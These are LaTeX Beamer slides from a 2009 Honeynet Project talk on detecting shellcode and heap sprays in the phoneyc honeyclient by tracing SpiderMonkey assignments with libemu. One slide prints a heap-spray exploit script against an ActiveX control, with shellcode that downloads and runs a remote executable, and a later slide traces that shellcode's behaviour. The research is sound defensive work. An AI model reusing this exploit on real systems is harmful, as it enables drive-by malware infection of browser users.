% This file is modified by Z Chen <imzchen@gmail.com> on 2009/05/28.
% For the Honeynet Project Beamer Theme.
%

% This file is modified by Frans Oliehoek <faolieho@science.uva.nl> on
% 2005/12/18. (original file name: conference-ornate-20min.en.tex)

\documentclass[dvipdfm,slidestop,notheorems,mathserif,table,c,11pt]{beamer}

% This file is a solution template for: - Talk at a
% conference/colloquium. - Talk length is about 20min. - Style is
% ornate.



% Copyright 2004 by Till Tantau <tantau@users.sourceforge.net>.
%
% In principle, this file can be redistributed and/or modified under
% the terms of the GNU Public License, version 2.
%
% However, this file is supposed to be a template to be modified for
% your own needs. For this reason, if you use this file as a template
% and not specifically distribute it as part of a another
% package/program, I grant the extra permission to freely copy and
% modify this file as you see fit and even to delete this copyright
% notice.

% \usepackage{pgfpages}
% \pgfpagesuselayout{2 on 1}[a4paper,border shrink=5mm]
% \nofiles

\usepackage{color}

\mode<presentation> {
  % \usetheme{HNP_sidebar} % only a simple left side bar, frame-title box varies in size when using subtitles for frames.
 %  \usetheme{HNP_sidebar2_10pt} % only a simple side bar, the frame-title box has a fixed size to exactly fit a title and subtitle. For usage with 10pt font, i.e.: \documentclass[10pt]{beamer}
  % \usetheme{HNP_sidebar2_11pt} % As above only changed to fit 11pt fonts.
  % \usetheme{HNP_sidebar2_12pt} % As above only changed to fit 12pt fonts.
   \usetheme{HNP_sidebarNav} % An HNP side bar with navigation
  % \usetheme{HNP_topNav} % Only top navigation with HNP colors
  % \usetheme{HNP_topNav_bottomAuthorTitle} %Top navigation and author/title in the bottom with HNP colors
  % \usetheme{HNP_topNav_leftHNPbar_10pt} % both top navigation and the HNP sidebar, the frame-title box has a fixed size to exactly fit a title and subtitle. For usage with 10pt font, i.e.: \documentclass[10pt,english
  % \usetheme{HNP_topNav_leftHNPbar_11pt} % As above only changed to fit 11pt fonts.
  % \usetheme{HNP_topNav_leftHNPbar_12pt} % As above only changed to fit 12pt fonts.
  \setbeamercovered{transparent}
  %   % or whatever (possibly just delete it)
}


% to remove the navigation symbols:


\usepackage[english]{babel}
% or whatever

% \usepackage{times} \usepackage[T1]{fontenc}
% Or whatever. Note that the encoding and the font should match. If T1
% does not look nice, try deleting the line with the fontenc.

\usepackage{multirow, enumerate}

\usepackage{listings}

\usepackage{colortbl,dcolumn} 
\usepackage{graphicx}

\def\hilite<#1>{\temporal<#1>{\color{blue!35}}{\color{magenta}}{\color{blue!75}}}

\newcolumntype{H}{>{\columncolor{blue!20}}c!{\vrule}}
\newcolumntype{H}{>{\columncolor{blue!20}}c}

\newcommand{\upcite}[1]{\textsuperscript{\cite{#1}}}
\bibliographystyle{plain}

% Setup TikZ

\usepackage{tikz}
\usetikzlibrary{arrows}
\tikzstyle{block}=[draw opacity=0.7,line width=1.4cm]

% Delete this, if you do not want the table of contents to pop up at
% the beginning of each subsection:
\AtBeginSection[] {
  \begin{frame}<beamer>
    \frametitle{Contents}
    \tableofcontents[currentsection]
  \end{frame}
}

% If you wish to uncover everything in a step-wise fashion, uncomment
% the following command:

% \beamerdefaultoverlayspecification{<+->}

% If you have a file called "university-logo-filename.xxx", where xxx
% is a graphic format that can be processed by latex or pdflatex,
% resp., then you can add a logo as follows:
% \pgfdeclareimage[height=0.5cm]{university-logo}{university-logo-filename}
% \logo{\pgfuseimage{university-logo}}
\graphicspath{{figures/}}
% \pgfdeclaremask{mymask}{figures/thu_logo2-mask}
% \pgfdeclareimage[width=0.45\textwidth,mask=mymask]{image2}{pictures/wai1}
\pgfdeclareimage[width=1.6cm,height=1.0cm]{institution-logo}{figures/hnp_logo}
%\pgfdeclareimage[width=1.0cm,height=1.0cm]{logo2}{figures/hnp_logo2}
\logo{\pgfuseimage{institution-logo}}


% \includeonlyframes{mine}
\begin{document}
\lstset{
  language={Java},
  linewidth=\textwidth{},
  breaklines=true,
  numbers=left,
  numberstyle=\small{},
  stepnumber=5,
  numbersep=5pt,
  columns=fullflexible,
  basicstyle=\footnotesize{}\sffamily{},          % print whole listing small
  backgroundcolor=\color{black!10!white},
  frame=leftline,
  emph={czj,joyan},
  emphstyle=\color{blue}\bfseries,
  keywordstyle=\color{blue}\bfseries,
  identifierstyle=\color{black},           % nothing happens 
  escapeinside=`',
  commentstyle=\color{black}, % white comments
  stringstyle=\ttfamily,      % typewriter type for strings
  showstringspaces=false}     % no special string spaces

\title[phoneyc with libemu]{Shellcode and heapspray detection in phoneyc}

\author[Z. Chen] { Zhijie~Chen\inst{1}}

\institute[HNP Chinese Chapter] { \inst{1} Honeynet Project Chinese Chapter}

\date[HNP GSoC 2009] {Honeynet Project on Google Summer of Code, 2009}

\begin{frame}
  \titlepage
\end{frame}

\setbeamertemplate{navigation symbols}{\small{\arabic{page}}}

\begin{frame}  
  \frametitle{Contents}
  \tableofcontents
  % You might wish to add the option [pausesections]
\end{frame}


% Structuring a talk is a difficult task and the following structure
% may not be suitable. Here are some rules that apply for this
% solution:

% - Exactly two or three sections (other than the summary). - At
% *most* three subsections per section. - Talk about 30s to 2min per
% frame. So there should be between about 15 and 30 frames, all told.

% - A conference audience is likely to know very little of what you
% are going to talk about. So *simplify*! - In a 20min talk, getting
% the main ideas across is hard enough. Leave out details, even if it
% means being less precise than you think necessary. - If you omit
% details that are vital to the proof/implementation, just say so
% once. Everybody will be happy with that.

\section[phoneyc]{Introduction to phoneyc}

\begin{frame}
  \frametitle{Introduction to phoneyc}
  \begin{itemize}
  \item \textit{http://code.google.com/p/phoneyc/}
  \item A python honeyclient
  \item Original written by Jose Nazario.
  \end{itemize}
\end{frame}

\section[Heapspray]{Heapspray in Web-Based Malware}

\begin{frame}[containsverbatim,allowframebreaks]
  \frametitle{A Typical Heapspray Mal-javascript}
\begin{lstlisting}
<body>
<script>window.onerror=function(){return true;}</script>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2"
style='display:none' id='target'></object>
<SCRIPT language="javascript">
    var shellcode = unescape("%u9090"+"%u9090"+
...(shellcode)
"%u7468%u7074%u2f3a%u312f%u3176%u6e2e%u6d61%u2f65%u6573%u7672%u7265%u652e%u6578%u0000");
</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000)
 block = block+block+fillblock;
memory = new Array();
for (x=0; x<100; x++) memory[x] = block +shellcode;
var buffer = '';
while (buffer.length < 1024) buffer+="\x05";
var ok="1111";
target.Register(ok,buffer);
</script>
</body> 
\end{lstlisting}
\end{frame}

\begin{frame}[fragile]
  \frametitle{Heap Status After Heapspray}
  \verb.|. More than ??MB 0x90(NOP)s or some other x86 instructions as
  a sledge \verb.|. Shellcode \verb.|.
\end{frame}

\section[Libemu]{Shellcode detection using Libemu}

\begin{frame}
  \frametitle{Introduction to libemu}
  \begin{block}{From it's official site:}
    libemu is a small library written in c offering basic x86
    emulation and shellcode detection using GetPC heuristics.

    Using libemu one can:
    \begin{itemize}
    \item detect shellcodes
    \item execute the shellcodes
    \item profile shellcode behaviour
    \end{itemize}
  \end{block}
  Using libemu to detect shellcode and heapspray in web-based malware:
  <<Defending browsers against drive-by downloads: Mitigating
  heap-spraying code injection attacks>>)
\end{frame}

\section[Tracing spidermonkey]{Tracing Mozilla Spidermonkey}

\begin{frame}
  \frametitle{Introduction to spidermonkey}
  \begin{block}{What is SpiderMonkey?}
    SpiderMonkey is the code-name for the Mozilla's C implementation
    of JavaScript.(http://www.mozilla.org/js/spidermonkey/)
  \end{block}
\end{frame}

\subsection[Basic Principles]{Basic Principles of Spidermonkey}

\begin{frame}
  \frametitle{Basic Principles of Spidermonkey}
  \begin{itemize}
  \item All the javascript sources are compiled into js bytecodes.
  \item There is an interpreter who interprets the bytecodes and do
    certain simple actions.
  \item All the javascript variables are stored as jsval.
  \item Some of the values are store as an ``atom'', such as strings.
  \end{itemize}
\end{frame}

\subsection[Source Files]{Related Source files}

\begin{frame}
  \frametitle{Related Source files to be used later}
  \begin{itemize}
  \item \textbf{jsapi.h:}Basic APIs for javascript execution.
  \item \textbf{jsdbgapi.h:}Basic APIs for debugging spidermonkey.
  \item \textbf{jsopcode.tbl:}All the js opcodes(bytecodes).
  \item \textbf{jsinterp.c:}You can find how each bytecode is
    interpreted here.
  \end{itemize}
\end{frame}

\subsection{python-spidermonkey}

\begin{frame}
  \frametitle{python-spidermonkey}
  There is a python module wrapping the C-spidermonkey:
  \begin{block}{python-spidermonkey}
    A bridge between Python and the Mozilla SpiderMonkey JavaScript
    engine.
  \end{block}
  The implementation of honeyjs (explained later) in phoneyc is
  derived from python-spidermonkey codebase.

  It only wraps a subset of the C-jsapi APIs, which is not enough in
  tracing spidermonkey.
\end{frame}

\section[Detection]{Shellcode/Heapspray Detection in phoneyc}

\subsection{Basic Idea}

\begin{frame}
  \frametitle{Basic Idea}
  As both the shellcode manipulation and the spraying of the fillblock
  involve assignments. The shellcode will be detected immediately on
  it's assignment if we are able to interrupt spidermonkey at the
  interpretion of certain bytecodes related to an assignment and check
  its argments and values for shellcodes.
\end{frame}

\subsection{Details}

\begin{frame}[containsverbatim,allowframebreaks]
  \frametitle{Details}
  The following js codes:
\begin{lstlisting}
function a(){b="c"; var a = 0;}
\end{lstlisting}
  are compiled into bytecodes like:
\begin{lstlisting}
00000:  bindname "b"
00003:  string "c"
00006:  setname "b"
00009:  pop
00010:  zero
00011:  setvar 0
00014:  pop
00015:  stop
\end{lstlisting}
  So, if we examine the set* opcodes' arguments on the top of the
  stack in runtime, shellcodes won't get passed!
\end{frame}

\begin{frame}
  \frametitle{Details}
  To do so, we need to:
  \begin{itemize}
  \item Step trace the spidermonkey runtime.
  \item Stop at the key bytecodes (such as setname, setvar above) on
    all kinds of assignments.Unfortunately different assignments have
    different bytecode accordingly.
  \item But all the opcodes related to assignments share a JOF\_SET bit
    in their opcode description structure(./src/jsopcode.h).
  \end{itemize}
\end{frame}

\subsection{Implementation}

\begin{frame}
  \frametitle{Implementation}
  \begin{itemize}
  \item Register a trace handler into spidermonkey using
    \textbf{JS\_SetInterrupt}. This handler will be called at each
    step of the bytecode execution.
  \item In the handler:
    \begin{itemize}
    \item Use \textbf{JS\_GetTrapOpcode} to get current opcode(bytecode).
    \item Use \textbf{JS\_FrameIterator} to get current runtime stack.
    \item Check the rvalue of the set* bytecodes on the top of the
      stack with libemu.
    \item Dump the shellcodes and alert.
    \item Contine the execution.
    \end{itemize}
  \item Privide this traced js virtual as a python module named
    honeyjs, so other part of phoneyc can use this module just the
    same as python-spidermonkey with optional awareness of the extra
    shellcode/heapspray detection APIs.
  \end{itemize}
\end{frame}

\section{Current Results}

\begin{frame}[containsverbatim,allowframebreaks]
  \frametitle{A Run on ssreader\_0day.html}
\begin{lstlisting}
HONEYCLIENT MODULE TEST
fetching http://127.0.0.1/ssreader_0day.html
[]
==> http://127.0.0.1/ssreader_0day.html
JS EVAL Shellcode DETECTED!!
Assigning to 0x08f1eb64:

Shellcode DETECTED!!
Assigning to 0x08f1eb64:

Shellcode DETECTED!!
Assigning to 0x08f3fae4:
\x90\x90\x90\x90\xe9\xef\x00\x00\x00\x5a\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40
...

Shellcode DETECTED!!
Assigning to 0x08f3fbb4:
\x90\x90\x90\x90
Shellcode DETECTED!!
Assigning to 0x08f3fbdc:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
...

Shellcode DETECTED!!
Assigning to 0x08f3fbd4:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
...

Shellcode DETECTED!!
Assigning to 0x08f3fbd4:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90...

Shellcode DETECTED!!
Assigning to 0x08f3fbd4:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90...

Shellcode DETECTED!!
Assigning to 0x08f3fbd4:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
...
\end{lstlisting}
\end{frame}

\begin{frame}[allowframebreaks,containsverbatim]
  \frametitle{Analysis of The Shellcode using libemu}
\begin{lstlisting}
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 => 
         none;
     LPCSTR lpProcName = 0x0041710c => 
           = "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 => 
         none;
     LPCSTR lpProcName = 0x00417120 => 
           = "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 => 
         none;
     LPCSTR lpProcName = 0x00417128 => 
           = "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 => 
         none;
     LPCSTR lpProcName = 0x00417133 => 
           = "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00417140 => 
           = "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7df20000 => 
         none;
     LPCSTR lpProcName = 0x00417147 => 
           = "URLDownloadToFileA";
) = 0x7df7b0bb;
\end{lstlisting}
\end{frame}

\section{Discussion and todo}

\begin{frame}
  \frametitle{Discussion and todo}
  \begin{enumerate}
  \item todo1: hook all the opcodes with JOF\_SET bit.
  \item todo2: Heapspray Detection:
  \item As we can see from the result above, libemu will report the
    sledge of the heapspray as valid shellcode, and repeats many times
    (for there is an assignment in each for loop). These shellcode
    alerts can be summarized together into a heapspray alerts.
  \item Heapspray detection: A python dict with the lvalue's address
    as key and a counter N (and the shellcodes) as value, indicating that
    the assignment to this variable has caused N shellcode alerts.
    Usually, N is 1 in a ``real'' shellcode variable and very large in
    the sledge variable, for the reason that there is a for loop
    assigning increasing NOPs(or other) into this vaiable.
    are in all the assignments
  \item todo3: Shellcode analysis and maldownloads downloading.
  \end{enumerate}
\end{frame}

\begin{frame}
  \begin{center}
    \begin{minipage}{0.60\textwidth}
      \begin{block}{\Huge\centering Thank you!}
      \end{block}
    \end{minipage}
  \end{center}
\end{frame}

\end{document}



%%% Local Variables: 
%%% mode: latex
%%% TeX-master: t
%%% End: 
